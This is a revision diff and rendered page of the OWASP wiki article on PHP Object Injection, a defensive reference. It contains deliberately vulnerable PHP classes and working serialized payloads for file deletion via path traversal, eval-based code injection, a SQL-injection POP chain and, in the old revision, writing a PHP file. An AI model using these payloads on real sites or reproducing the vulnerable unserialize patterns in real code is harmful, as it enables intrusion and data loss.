Difference between revisions of "PHP Object Injection"

From OWASP
Jump to: navigation, search
(Created page with "{{Template:Vulnerability}} Author(s): *Egidio Romano Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' [[ASDR_TOC_V...")
 
(6 intermediate revisions by the same user not shown)
Line 10: Line 10:
 
==Description==
 
==Description==
  
PHP Object Injection is an application level vulnerability which allows an attacker to perform different kinds of malicious attacks.
+
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as [[Code Injection]], [[SQL Injection]], [[Path Traversal]] and [[Application Denial of Service]], depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers  could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
The vulnerability occurs when user-supplied input is not properly sanitized before being used in call to the unserialize() PHP function. Since PHP allows objects serialization, attackers  could pass ad-hoc serialized strings to the unserialize() function, resulting in an arbitrary PHP objects injection into the application scope.
+
  
In order to successfully exploit a PHP Object Injection vulnerability two conditions must be satisfied:
+
In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:
  
* The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be abused to conduct malicious attacks.
+
* The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a "POP chain".
* That exploitable class must be declared when unserialize() is being called, otherwise object autoloading must be supported.
+
* All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.
  
==Risk Factors==
+
==Examples==
  
* The impact of this vulnerability could be High but the likelihood is low. So, the severity of this type of vulnerability is Medium.
+
'''Example 1'''
* This vulnerability can make the website vulnerable to some other types of attacks such as [[Path Traversal]], [[SQL Injection]] or [[Code Injection]].
+
 
+
==Examples==
+
  
 
The example below shows a PHP class with an exploitable __destruct method:
 
The example below shows a PHP class with an exploitable __destruct method:
 
<pre>
 
<pre>
<?php
+
class Example1
 
+
class VulnCache
+
 
{
 
{
 
   public $cache_file;
 
   public $cache_file;
  public $cache_data;
 
  
 
   function __construct()
 
   function __construct()
Line 41: Line 34:
 
   function __destruct()
 
   function __destruct()
 
   {
 
   {
       file_put_contents($this->cache_file, $this->cache_data);
+
       $file = "/var/www/cache/tmp/{$this->cache_file}";
 +
      if (file_exists($file)) @unlink($file);
 
   }
 
   }
 
}
 
}
Line 49: Line 43:
 
$user_data = unserialize($_GET['data']);
 
$user_data = unserialize($_GET['data']);
  
?>
+
// some PHP code...
 
</pre>
 
</pre>
In this example an attacker might be able to create a new PHP file with arbitrary code, requesting the following URL:
+
In this example an attacker might be able to delete an arbitrary file via a [[Path Traversal]] attack, for e.g. requesting the following URL:
<pre>http://site/vuln.php?data=O:9:"VulnCache":2:{s:10:"cache_file";s:8:"test.php";s:10:"cache_data";s:21:"<?php+evil_code();+?>";}</pre>
+
<pre>http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}</pre>
  
==Related [[Vulnerabilities]]==
+
'''Example 2'''
  
* [[:Category:Input Validation Vulnerability]]
+
The example below shows a PHP class with an exploitable __wakeup method:
 +
<pre>
 +
class Example2
 +
{
 +
  private $hook;
 +
 
 +
  function __construct()
 +
  {
 +
      // some PHP code...
 +
  }
 +
 
 +
  function __wakeup()
 +
  {
 +
      if (isset($this->hook)) eval($this->hook);
 +
  }
 +
}
 +
 
 +
// some PHP code...
 +
 
 +
$user_data = unserialize($_COOKIE['data']);
 +
 
 +
// some PHP code...
 +
</pre>
 +
In this example an attacker might be able to perform a [[Code Injection]] attack by sending an HTTP request like this:
 +
<pre>
 +
GET /vuln.php HTTP/1.0
 +
Host: testsite.com
 +
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
 +
Connection: close
 +
</pre>
 +
Where the cookie parameter "data" has been generated by the following script:
 +
<pre>
 +
class Example2
 +
{
 +
  private $hook = "phpinfo();";
 +
}
 +
 
 +
print urlencode(serialize(new Example2));
 +
</pre>
 +
 
 +
'''Example 3'''
 +
 
 +
This last example shows how it is possible to perform a [[SQL Injection]] attack using a "POP chain", for instance by leveraging a __toString method like this:
 +
<pre>
 +
class Example3
 +
{
 +
  protected $obj;
 +
 
 +
  function __construct()
 +
  {
 +
      // some PHP code...
 +
  }
 +
 
 +
  function __toString()
 +
  {
 +
      if (isset($this->obj)) return $this->obj->getValue();
 +
  }
 +
}
 +
 
 +
// some PHP code...
 +
 
 +
$user_data = unserialize($_POST['data']);
 +
 
 +
// some PHP code...
 +
</pre>
 +
If the $user_data variable is an "Example3" object and it will be treated like a string somewhere in the code, then its __toString method will be called. Since this method will call the getValue method of the object stored into the "obj" property, it's possible to set that property to an arbitrary object, and execute its getValue method, if it is accessible, otherwise its __call method will be called, if it is defined. For the sake of ease, just think that when unserialize() is called, the class below is available within the application scope (or supported by autoloading):
 +
<pre>
 +
class SQL_Row_Value
 +
{
 +
  private $_table;
 +
 
 +
  // some PHP code...
 +
 
 +
  function getValue($id)
 +
  {
 +
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
 +
      $result = mysql_query($sql, $DBFactory::getConnection());
 +
      $row = mysql_fetch_assoc($result);
 +
 
 +
      return $row['value'];
 +
  }
 +
}
 +
</pre>
 +
In this example an attacker might be able to perform a [[SQL Injection]] attack by sending a POST request containing a "data" parameter generated by a script like this:
 +
<pre>
 +
class SQL_Row_Value
 +
{
 +
  private $_table = "SQL Injection";
 +
}
 +
 
 +
class Example3
 +
{
 +
  protected $obj;
 +
 
 +
  function __construct()
 +
  {
 +
      $this->obj = new SQL_Row_Value;
 +
  }
 +
}
 +
 
 +
print urlencode(serialize(new Example3));
 +
</pre>
  
 
== Related [[Controls]]  ==
 
== Related [[Controls]]  ==
Line 69: Line 164:
 
==References==
 
==References==
  
* PHP: unserialize. http://php.net/manual/en/function.unserialize.php
+
* [http://php.net/manual/en/function.unserialize.php PHP: unserialize]
* PHP: Magic Methods. http://php.net/manual/en/language.oop5.magic.php
+
* [http://php.net/manual/en/language.oop5.magic.php PHP: Magic Methods]
* PHP: Autoloading Classes. http://php.net/manual/en/language.oop5.autoload.php
+
* [http://php.net/manual/en/language.oop5.autoload.php PHP: Autoloading Classes]
* Shocking news in PHP exploitation. http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
+
* [https://wiki.php.net/rfc/secure_unserialize PHP RFC: Secured unserialize()]
 +
* [http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf Shocking News in PHP Exploitation] Stefan Esser, POC 2009
 +
* [https://media.blackhat.com/bh-us-10/presentations/Esser/BlackHat-USA-2010-Esser-Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits-slides.pdf Utilizing Code Reuse/ROP in PHP Application Exploits] Stefan Esser, BlackHat USA 2010
 +
 
  
 
[[Category:Injection]]
 
[[Category:Injection]]

Revision as of 14:23, 23 March 2014

This is a Vulnerability. To view all vulnerabilities, please see the Vulnerability Category page.


Author(s):

Last revision (mm/dd/yy): 03/23/2014

Vulnerabilities Table of Contents

Description

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

In order to successfully exploit a PHP Object Injection vulnerability two conditions must be met:

  • The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a "POP chain".
  • All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.

Examples

Example 1

The example below shows a PHP class with an exploitable __destruct method:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

In this example an attacker might be able to delete an arbitrary file via a Path Traversal attack, for e.g. requesting the following URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

Example 2

The example below shows a PHP class with an exploitable __wakeup method:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

In this example an attacker might be able to perform a Code Injection attack by sending an HTTP request like this:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

Where the cookie parameter "data" has been generated by the following script:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));

Example 3

This last example shows how it is possible to perform a SQL Injection attack using a "POP chain", for instance by leveraging a __toString method like this:

class Example3
{
   protected $obj;

   function __construct()
   {
      // some PHP code...
   }

   function __toString()
   {
      if (isset($this->obj)) return $this->obj->getValue();
   }
}

// some PHP code...

$user_data = unserialize($_POST['data']);

// some PHP code...

If the $user_data variable is an "Example3" object and it will be treated like a string somewhere in the code, then its __toString method will be called. Since this method will call the getValue method of the object stored into the "obj" property, it's possible to set that property to an arbitrary object, and execute its getValue method, if it is accessible, otherwise its __call method will be called, if it is defined. For the sake of ease, just think that when unserialize() is called, the class below is available within the application scope (or supported by autoloading):

class SQL_Row_Value
{
   private $_table;

   // some PHP code...

   function getValue($id)
   {
      $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id;
      $result = mysql_query($sql, $DBFactory::getConnection());
      $row = mysql_fetch_assoc($result);

      return $row['value'];
   }
}

In this example an attacker might be able to perform a SQL Injection attack by sending a POST request containing a "data" parameter generated by a script like this:

class SQL_Row_Value
{
   private $_table = "SQL Injection";
}

class Example3
{
   protected $obj;

   function __construct()
   {
      $this->obj = new SQL_Row_Value;
   }
}

print urlencode(serialize(new Example3));

Related Controls

Prevention

Do not use unserialize() function with user-supplied input, use JSON functions instead.

References